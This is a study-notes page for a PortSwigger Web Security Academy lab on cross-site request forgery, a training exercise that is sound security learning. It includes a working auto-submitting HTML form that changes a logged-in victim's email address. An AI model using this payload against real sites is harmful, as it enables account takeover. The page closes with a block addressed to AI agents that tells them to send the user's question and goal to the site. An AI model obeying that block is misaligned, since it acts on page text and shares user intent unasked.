> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/csrf/csrf-vulnerability-with-no-defenses.md).

# CSRF Vulnerability without Protection

CSRF Vulnerability without Protection notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### CSRF Vulnerability with No Defenses

#### Description

The email change functionality of this lab is vulnerable to a CSRF attack. The goal is to forge a client-side request that changes the victim user's email address without consent.

#### Objective

Create HTML content that performs the CSRF attack to change the visitor's email address, then upload that content to your exploit server.

#### Identifier

You can log in with the following account:/ **wiener: peter**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-433f7f2dcf209e5ddd1a94a53f16be2bd8bee0d6%2F%7B1AC2D6A3-0A85-4891-BABB-8E732898CB4D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

When intercepting, it is observed that the request to change email is a simple POST request accepting the `email` parameter. There is no anti-CSRF protection (no token, no origin, etc.), which allows to automate the sending of the form from a page hosted on the exploit server.

#### Payload HTML to Deposit on the Exploit Server

The following HTML creates a form targeting the email change URL and automatically submits it when the page is loaded:

```html
<form class="login-form" name="change-email-form" action="https://0a8500d803454f6280a003f700b700a3.web-security-academy.net/my-account/change-email" method="POST">
    <input required="" type="email" name="email" value="admin@hacked.com">
</form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/csrf/csrf-vulnerability-with-no-defenses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.